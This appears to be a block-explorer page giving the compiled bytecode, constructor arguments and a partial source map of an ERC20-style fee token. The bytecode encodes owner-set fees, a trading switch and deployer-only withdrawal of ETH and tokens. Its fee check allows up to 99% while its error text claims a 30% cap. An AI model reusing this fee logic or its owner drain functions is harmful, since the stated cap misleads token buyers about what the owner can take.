80fd5b506103b07f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610215565b3480156103d457600080fd5b5061025f6103e3366004611a04565b6001600160a01b031660009081526020819052604090205490565b34801561040a57600080fd5b5061031561072e565b34801561041f57600080fd5b50610315610742565b34801561043457600080fd5b50610315610761565b34801561044957600080fd5b506005546001600160a01b03166103b0565b34801561046757600080fd5b506102086107b0565b34801561047c57600080fd5b5061031561048b366004611a2f565b6107bf565b34801561049c57600080fd5b5061023e6104ab366004611975565b610859565b3480156104bc57600080fd5b5061023e6104cb366004611975565b6108d4565b3480156104dc57600080fd5b5061025f600d5481565b3480156104f257600080fd5b5061025f60125481565b34801561050857600080fd5b506103156108e2565b34801561051d57600080fd5b5061025f61052c366004611a68565b6108f9565b34801561053d57600080fd5b5061025f60115481565b34801561055357600080fd5b5061025f600f5481565b34801561056957600080fd5b50610315610578366004611975565b610924565b34801561058957600080fd5b50610315610598366004611a04565b610b79565b3480156105a957600080fd5b5061025f600e5481565b3480156105bf57600080fd5b5060105461023e9060ff1681565b6060600380546105dc90611a96565b80601f016020809104026020016040519081016040528092919081815260200182805461060890611a96565b80156106555780601f1061062a57610100808354040283529160200191610655565b820191906000526020600020905b81548152906001019060200180831161063857829003601f168201915b5050505050905090565b60003361066d818585610bef565b60019150505b92915050565b600033610687858285610d13565b610692858585610d8d565b506001949350505050565b60003361066d8185856106b083836108f9565b6106ba9190611ae6565b610bef565b6106c7611387565b606382111580156106d9575060638111155b6107235760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b60448201526064015b60405180910390fd5b601191909155601255565b610736611387565b61074060006113e1565b565b61074a611387565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461078157600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107ad573d6000803e3d6000fd5b50565b6060600480546105dc90611a96565b6107c7611387565b6006546001600160a01b039081169083160361084b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161071a565b6108558282611433565b5050565b6000338161086782866108f9565b9050838110156108c75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161071a565b6106928286868403610bef565b60003361066d818585610d8d565b6108ea611387565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6007546001600160a01b0316336001600160a01b0316146109875760405162461bcd60e51b815260206004820152601e60248201527f4f6e6c79206465706c6f7965722063616e20636c65617220746f6b656e730000604482015260640161071a565b6040516370a0823160e01b815230600482015282906000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156109d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f49190611af9565b90506000606484600954610a089190611b12565b610a129190611b29565b9050808211610a635760405162461bcd60e51b815260206004820152601960248201527f4e6f2065786365737320746f6b656e7320746f20636c65617200000000000000604482015260640161071a565b6000610a6f8284611b4b565b90508015610af05760075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529085169063a9059cbb906044016020604051808303816000875af1158015610aca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aee9190611b5e565b505b84600003610b715760075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018590529085169063a9059cbb906044016020604051808303816000875af1158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190611b5e565b505b505050505050565b610b81611387565b6001600160a01b038116610be65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071a565b6107ad816113e1565b6001600160a01b038316610c515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071a565b6001600160a01b038216610cb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610d1f84846108f9565b90506000198114610d875781811015610d7a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161071a565b610d878484848403610bef565b50505050565b6001600160a01b038316610db35760405162461bcd60e51b815260040161071a90611b7b565b6001600160a01b038216610dd95760405162461bcd60e51b815260040161071a90611bc0565b80600003610df257610ded83836000611487565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610e3457506001600160a01b03831660009081526015602052604090205460ff16155b9050610e486005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e7757506005546001600160a01b03848116911614155b8015610e8b57506001600160a01b03831615155b8015610ea257506001600160a01b03831661dead14155b8015610eb85750600854600160a01b900460ff16155b156111b15760105460ff16610f4b576001600160a01b03841660009081526013602052604090205460ff1680610f0657506001600160a01b03831660009081526013602052604090205460ff165b610f4b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161071a565b6001600160a01b03841660009081526015602052604090205460ff168015610f8c57506001600160a01b03831660009081526014602052604090205460ff16155b1561107057600d548211156110015760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161071a565b600e546001600160a01b0384166000908152602081905260409020546110279084611ae6565b111561106b5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161071a565b6111b1565b6001600160a01b03831660009081526015602052604090205460ff1680156110b157506001600160a01b03841660009081526014602052604090205460ff16155b1561112757600d5482111561106b5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161071a565b6001600160a01b03831660009081526014602052604090205460ff166111b157600e546001600160a01b03841660009081526020819052604090205461116d9084611ae6565b11156111b15760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161071a565b3060009081526020819052604090205481158080156111da5750600854600160a01b900460ff16155b80156111ff57506001600160a01b03861660009081526015602052604090205460ff16155b801561122457506001600160a01b03861660009081526013602052604090205460ff16155b801561124957506001600160a01b03851660009081526013602052604090205460ff16155b15611281576008805460ff60a01b1916600160a01b17905561126a846115b1565b61127347611700565b6008805460ff60a01b191690555b600854600090600160a01b900460ff1615801561129c575083155b6001600160a01b03881660009081526013602052604090205490915060ff16806112de57506001600160a01b03861660009081526013602052604090205460ff165b156112e7575060005b60008115611372576001600160a01b03871660009081526015602052604090205460ff161561133757611330606461132a6012548961173a90919063ffffffff16565b9061174d565b9050611354565b611351606461132a6011548961173a90919063ffffffff16565b90505b801561136557611365883083611487565b61136f8187611b4b565b95505b61137d888888611487565b5050505050505050565b6005546001600160a01b031633146107405760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071a565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166114ad5760405162461bcd60e51b815260040161071a90611b7b565b6001600160a01b0382166114d35760405162461bcd60e51b815260040161071a90611bc0565b6001600160a01b0383166000908152602081905260409020548181101561154b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161071a565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610d87565b30600090815260208190526040812054908181036115ce57505050565b6012546011546115de9190611ae6565b60000361164a576000821180156115f65750600f5482105b156116025750806116f7565b600061161e606461132a6012548761173a90919063ffffffff16565b905061162a8185611b4b565b9350600f5484111561164057600f549150611644565b8391505b506116f7565b6000821180156116665750600f5461166390600561174d565b82105b1561167057505050565b60008211801561168c5750600f5461168990600561174d565b82115b80156116995750600f5482105b156116b357600f546116ac90600561174d565b90506116f7565b60006116cf606461132a6012548761173a90919063ffffffff16565b90506116db8185611b4b565b9350600f548411156116f157600f5491506116f5565b8391505b505b610ded81611759565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610855573d6000803e3d6000fd5b60006117468284611b12565b9392505050565b60006117468284611b29565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061178e5761178e611c03565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561180c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118309190611c19565b8160018151811061184357611843611c03565b60200260200101906001600160a01b031690816001600160a01b03168152505061188e307f000000000000000000000000000000000000000000000000000000000000000084610bef565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906118e3908590600090869030904290600401611c36565b600060405180830381600087803b1580156118fd57600080fd5b505af1158015610b71573d6000803e3d6000fd5b60006020808352835180602085015260005b8181101561193f57858101830151858201604001528201611923565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107ad57600080fd5b6000806040838503121561198857600080fd5b823561199381611960565b946020939093013593505050565b6000806000606084860312156119b657600080fd5b83356119c181611960565b925060208401356119d181611960565b929592945050506040919091013590565b600080604083850312156119f557600080fd5b50508035926020909101359150565b600060208284031215611a1657600080fd5b813561174681611960565b80151581146107ad57600080fd5b60008060408385031215611a4257600080fd5b8235611a4d81611960565b91506020830135611a5d81611a21565b809150509250929050565b60008060408385031215611a7b57600080fd5b8235611a8681611960565b91506020830135611a5d81611960565b600181811c90821680611aaa57607f821691505b602082108103611aca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561067357610673611ad0565b600060208284031215611b0b57600080fd5b5051919050565b808202811582820484141761067357610673611ad0565b600082611b4657634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561067357610673611ad0565b600060208284031215611b7057600080fd5b815161174681611a21565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c2b57600080fd5b815161174681611960565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611c885784516001600160a01b031683529383019391830191600101611c63565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220811fed319a6b40f89e17f2855452e929b078ee71ba4ea7df4018d0490a35c26364736f6c63430008190033000000000000000000000000a08222ff4131a93c07063c7a21c5867e3f9dba68

Deployed Bytecode

0x6080604052600436106101e75760003560e01c806389291a8f11610102578063d5771cdb11610095578063f2a95aa911610064578063f2a95aa91461055d578063f2fde38b1461057d578063f8b45b051461059d578063ffb54a99146105b357600080fd5b8063d5771cdb146104fc578063dd62ed3e14610511578063dd85465214610531578063e2f456051461054757600080fd5b8063a457c2d7116100d1578063a457c2d714610490578063a9059cbb146104b0578063c8c8ebe4146104d0578063cf9522fd146104e657600080fd5b806389291a8f146104285780638da5cb5b1461043d57806395d89b411461045b5780639a7a23d61461047057600080fd5b80633be6e6371161017a578063583e056811610149578063583e05681461037c57806370a08231146103c8578063715018a6146103fe578063751039fc1461041357600080fd5b80633be6e637146102f55780633d9a3d19146103175780633e4aff1e1461032d5780634fbee1931461034357600080fd5b806323b872dd116101b657806323b872dd14610283578063311028af146102a3578063313ce567146102b957806339509351146102d557600080fd5b806306fdde03146101f3578063095ea7b31461021e57806318160ddd1461024e57806322a0bc811461026d57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086105cd565b6040516102159190611911565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611975565b61065f565b6040519015158152602001610215565b34801561025a57600080fd5b506002545b604051908152602001610215565b34801561027957600080fd5b5061025f600a5481565b34801561028f57600080fd5b5061023e61029e3660046119a1565b610679565b3480156102af57600080fd5b5061025f60095481565b3480156102c557600080fd5b5060405160098152602001610215565b3480156102e157600080fd5b5061023e6102f0366004611975565b61069d565b34801561030157600080fd5b506103156103103660046119e2565b6106bf565b005b34801561032357600080fd5b5061025f600b5481565b34801561033957600080fd5b5061025f600c5481565b34801561034f57600080fd5b5061023e61035e366004611a04565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561038857600080fd5b506103b07f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610215565b3480156103d457600080fd5b5061025f6103e3366004611a04565b6001600160a01b031660009081526020819052604090205490565b34801561040a57600080fd5b5061031561072e565b34801561041f57600080fd5b50610315610742565b34801561043457600080fd5b50610315610761565b34801561044957600080fd5b506005546001600160a01b03166103b0565b34801561046757600080fd5b506102086107b0565b34801561047c57600080fd5b5061031561048b366004611a2f565b6107bf565b34801561049c57600080fd5b5061023e6104ab366004611975565b610859565b3480156104bc57600080fd5b5061023e6104cb366004611975565b6108d4565b3480156104dc57600080fd5b5061025f600d5481565b3480156104f257600080fd5b5061025f60125481565b34801561050857600080fd5b506103156108e2565b34801561051d57600080fd5b5061025f61052c366004611a68565b6108f9565b34801561053d57600080fd5b5061025f60115481565b34801561055357600080fd5b5061025f600f5481565b34801561056957600080fd5b50610315610578366004611975565b610924565b34801561058957600080fd5b50610315610598366004611a04565b610b79565b3480156105a957600080fd5b5061025f600e5481565b3480156105bf57600080fd5b5060105461023e9060ff1681565b6060600380546105dc90611a96565b80601f016020809104026020016040519081016040528092919081815260200182805461060890611a96565b80156106555780601f1061062a57610100808354040283529160200191610655565b820191906000526020600020905b81548152906001019060200180831161063857829003601f168201915b5050505050905090565b60003361066d818585610bef565b60019150505b92915050565b600033610687858285610d13565b610692858585610d8d565b506001949350505050565b60003361066d8185856106b083836108f9565b6106ba9190611ae6565b610bef565b6106c7611387565b606382111580156106d9575060638111155b6107235760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b60448201526064015b60405180910390fd5b601191909155601255565b610736611387565b61074060006113e1565b565b61074a611387565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461078157600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107ad573d6000803e3d6000fd5b50565b6060600480546105dc90611a96565b6107c7611387565b6006546001600160a01b039081169083160361084b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161071a565b6108558282611433565b5050565b6000338161086782866108f9565b9050838110156108c75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161071a565b6106928286868403610bef565b60003361066d818585610d8d565b6108ea611387565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6007546001600160a01b0316336001600160a01b0316146109875760405162461bcd60e51b815260206004820152601e60248201527f4f6e6c79206465706c6f7965722063616e20636c65617220746f6b656e730000604482015260640161071a565b6040516370a0823160e01b815230600482015282906000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156109d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f49190611af9565b90506000606484600954610a089190611b12565b610a129190611b29565b9050808211610a635760405162461bcd60e51b815260206004820152601960248201527f4e6f2065786365737320746f6b656e7320746f20636c65617200000000000000604482015260640161071a565b6000610a6f8284611b4b565b90508015610af05760075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529085169063a9059cbb906044016020604051808303816000875af1158015610aca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aee9190611b5e565b505b84600003610b715760075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018590529085169063a9059cbb906044016020604051808303816000875af1158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190611b5e565b505b505050505050565b610b81611387565b6001600160a01b038116610be65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071a565b6107ad816113e1565b6001600160a01b038316610c515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071a565b6001600160a01b038216610cb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610d1f84846108f9565b90506000198114610d875781811015610d7a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161071a565b610d878484848403610bef565b50505050565b6001600160a01b038316610db35760405162461bcd60e51b815260040161071a90611b7b565b6001600160a01b038216610dd95760405162461bcd60e51b815260040161071a90611bc0565b80600003610df257610ded83836000611487565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610e3457506001600160a01b03831660009081526015602052604090205460ff16155b9050610e486005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e7757506005546001600160a01b03848116911614155b8015610e8b57506001600160a01b03831615155b8015610ea257506001600160a01b03831661dead14155b8015610eb85750600854600160a01b900460ff16155b156111b15760105460ff16610f4b576001600160a01b03841660009081526013602052604090205460ff1680610f0657506001600160a01b03831660009081526013602052604090205460ff165b610f4b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161071a565b6001600160a01b03841660009081526015602052604090205460ff168015610f8c57506001600160a01b03831660009081526014602052604090205460ff16155b1561107057600d548211156110015760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161071a565b600e546001600160a01b0384166000908152602081905260409020546110279084611ae6565b111561106b5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161071a565b6111b1565b6001600160a01b03831660009081526015602052604090205460ff1680156110b157506001600160a01b03841660009081526014602052604090205460ff16155b1561112757600d5482111561106b5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161071a565b6001600160a01b03831660009081526014602052604090205460ff166111b157600e546001600160a01b03841660009081526020819052604090205461116d9084611ae6565b11156111b15760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161071a565b3060009081526020819052604090205481158080156111da5750600854600160a01b900460ff16155b80156111ff57506001600160a01b03861660009081526015602052604090205460ff16155b801561122457506001600160a01b03861660009081526013602052604090205460ff16155b801561124957506001600160a01b03851660009081526013602052604090205460ff16155b15611281576008805460ff60a01b1916600160a01b17905561126a846115b1565b61127347611700565b6008805460ff60a01b191690555b600854600090600160a01b900460ff1615801561129c575083155b6001600160a01b03881660009081526013602052604090205490915060ff16806112de57506001600160a01b03861660009081526013602052604090205460ff165b156112e7575060005b60008115611372576001600160a01b03871660009081526015602052604090205460ff161561133757611330606461132a6012548961173a90919063ffffffff16565b9061174d565b9050611354565b611351606461132a6011548961173a90919063ffffffff16565b90505b801561136557611365883083611487565b61136f8187611b4b565b95505b61137d888888611487565b5050505050505050565b6005546001600160a01b031633146107405760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071a565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166114ad5760405162461bcd60e51b815260040161071a90611b7b565b6001600160a01b0382166114d35760405162461bcd60e51b815260040161071a90611bc0565b6001600160a01b0383166000908152602081905260409020548181101561154b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161071a565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610d87565b30600090815260208190526040812054908181036115ce57505050565b6012546011546115de9190611ae6565b60000361164a576000821180156115f65750600f5482105b156116025750806116f7565b600061161e606461132a6012548761173a90919063ffffffff16565b905061162a8185611b4b565b9350600f5484111561164057600f549150611644565b8391505b506116f7565b6000821180156116665750600f5461166390600561174d565b82105b1561167057505050565b60008211801561168c5750600f5461168990600561174d565b82115b80156116995750600f5482105b156116b357600f546116ac90600561174d565b90506116f7565b60006116cf606461132a6012548761173a90919063ffffffff16565b90506116db8185611b4b565b9350600f548411156116f157600f5491506116f5565b8391505b505b610ded81611759565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610855573d6000803e3d6000fd5b60006117468284611b12565b9392505050565b60006117468284611b29565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061178e5761178e611c03565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561180c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118309190611c19565b8160018151811061184357611843611c03565b60200260200101906001600160a01b031690816001600160a01b03168152505061188e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610bef565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906118e3908590600090869030904290600401611c36565b600060405180830381600087803b1580156118fd57600080fd5b505af1158015610b71573d6000803e3d6000fd5b60006020808352835180602085015260005b8181101561193f57858101830151858201604001528201611923565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107ad57600080fd5b6000806040838503121561198857600080fd5b823561199381611960565b946020939093013593505050565b6000806000606084860312156119b657600080fd5b83356119c181611960565b925060208401356119d181611960565b929592945050506040919091013590565b600080604083850312156119f557600080fd5b50508035926020909101359150565b600060208284031215611a1657600080fd5b813561174681611960565b80151581146107ad57600080fd5b60008060408385031215611a4257600080fd5b8235611a4d81611960565b91506020830135611a5d81611a21565b809150509250929050565b60008060408385031215611a7b57600080fd5b8235611a8681611960565b91506020830135611a5d81611960565b600181811c90821680611aaa57607f821691505b602082108103611aca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561067357610673611ad0565b600060208284031215611b0b57600080fd5b5051919050565b808202811582820484141761067357610673611ad0565b600082611b4657634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561067357610673611ad0565b600060208284031215611b7057600080fd5b815161174681611a21565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c2b57600080fd5b815161174681611960565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611c885784516001600160a01b031683529383019391830191600101611c63565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220811fed319a6b40f89e17f2855452e929b078ee71ba4ea7df4018d0490a35c26364736f6c63430008190033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000a08222ff4131a93c07063c7a21c5867e3f9dba68

-----Decoded View---------------
Arg [0] : wallet (address): 0xa08222FF4131A93c07063c7A21c5867e3F9dba68

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a08222ff4131a93c07063c7a21c5867e3f9dba68


Deployed Bytecode Sourcemap

15094:9484:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9774:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10705:201;;;;;;;;;;-1:-1:-1;10705:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10705:201:0;1023:187:1;10094:108:0;;;;;;;;;;-1:-1:-1;10182:12:0;;10094:108;;;1361:25:1;;;1349:2;1334:18;10094:108:0;1215:177:1;15537:46:0;;;;;;;;;;;;;;;;10914:295;;;;;;;;;;-1:-1:-1;10914:295:0;;;;;:::i;:::-;;:::i;15475:53::-;;;;;;;;;;;;;;;;9994:92;;;;;;;;;;-1:-1:-1;9994:92:0;;10077:1;2000:36:1;;1988:2;1973:18;9994:92:0;1858:184:1;11217:238:0;;;;;;;;;;-1:-1:-1;11217:238:0;;;;;:::i;:::-;;:::i;22844:212::-;;;;;;;;;;-1:-1:-1;22844:212:0;;;;;:::i;:::-;;:::i;:::-;;15590:35;;;;;;;;;;;;;;;;15632:44;;;;;;;;;;;;;;;;18579:126;;;;;;;;;;-1:-1:-1;18579:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;18669:28:0;18645:4;18669:28;;;:19;:28;;;;;;;;;18579:126;15170:52;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2741:32:1;;;2723:51;;2711:2;2696:18;15170:52:0;2552:228:1;10210:127:0;;;;;;;;;;-1:-1:-1;10210:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;10311:18:0;10284:7;10311:18;;;;;;;;;;;;10210:127;8849:103;;;;;;;;;;;;;:::i;21758:187::-;;;;;;;;;;;;;:::i;21953:154::-;;;;;;;;;;;;;:::i;8614:87::-;;;;;;;;;;-1:-1:-1;8687:6:0;;-1:-1:-1;;;;;8687:6:0;8614:87;;9882:104;;;;;;;;;;;;;:::i;18135:242::-;;;;;;;;;;-1:-1:-1;18135:242:0;;;;;:::i;:::-;;:::i;11463:436::-;;;;;;;;;;-1:-1:-1;11463:436:0;;;;;:::i;:::-;;:::i;10345:193::-;;;;;;;;;;-1:-1:-1;10345:193:0;;;;;:::i;:::-;;:::i;15685:35::-;;;;;;;;;;;;;;;;15873:27;;;;;;;;;;;;;;;;17729:74;;;;;;;;;;;;;:::i;10546:151::-;;;;;;;;;;-1:-1:-1;10546:151:0;;;;;:::i;:::-;;:::i;15840:26::-;;;;;;;;;;;;;;;;15758:33;;;;;;;;;;;;;;;;22115:721;;;;;;;;;;-1:-1:-1;22115:721:0;;;;;:::i;:::-;;:::i;8960:201::-;;;;;;;;;;-1:-1:-1;8960:201:0;;;;;:::i;:::-;;:::i;15727:24::-;;;;;;;;;;;;;;;;15800:31;;;;;;;;;;-1:-1:-1;15800:31:0;;;;;;;;9774:100;9828:13;9861:5;9854:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9774:100;:::o;10705:201::-;10788:4;338:10;10844:32;338:10;10860:7;10869:6;10844:8;:32::i;:::-;10894:4;10887:11;;;10705:201;;;;;:::o;10914:295::-;11045:4;338:10;11103:38;11119:4;338:10;11134:6;11103:15;:38::i;:::-;11152:27;11162:4;11168:2;11172:6;11152:9;:27::i;:::-;-1:-1:-1;11197:4:0;;10914:295;-1:-1:-1;;;;10914:295:0:o;11217:238::-;11305:4;338:10;11361:64;338:10;11377:7;11414:10;11386:25;338:10;11377:7;11386:9;:25::i;:::-;:38;;;;:::i;:::-;11361:8;:64::i;22844:212::-;8573:13;:11;:13::i;:::-;22945:2:::1;22934:7;:13;;:31;;;;;22963:2;22951:8;:14;;22934:31;22926:66;;;::::0;-1:-1:-1;;;22926:66:0;;4745:2:1;22926:66:0::1;::::0;::::1;4727:21:1::0;4784:2;4764:18;;;4757:30;-1:-1:-1;;;4803:18:1;;;4796:52;4865:18;;22926:66:0::1;;;;;;;;;23003:6;:16:::0;;;;23030:7:::1;:18:::0;22844:212::o;8849:103::-;8573:13;:11;:13::i;:::-;8914:30:::1;8941:1;8914:18;:30::i;:::-;8849:103::o:0;21758:187::-;8573:13;:11;:13::i;:::-;21835:18:::1;::::0;21812:20:::1;:41:::0;;;21864:9:::1;:30:::0;-1:-1:-1;21905:6:0::1;:10:::0;;;21926:7:::1;:11:::0;21758:187::o;21953:154::-;22022:14;;-1:-1:-1;;;;;22022:14:0;338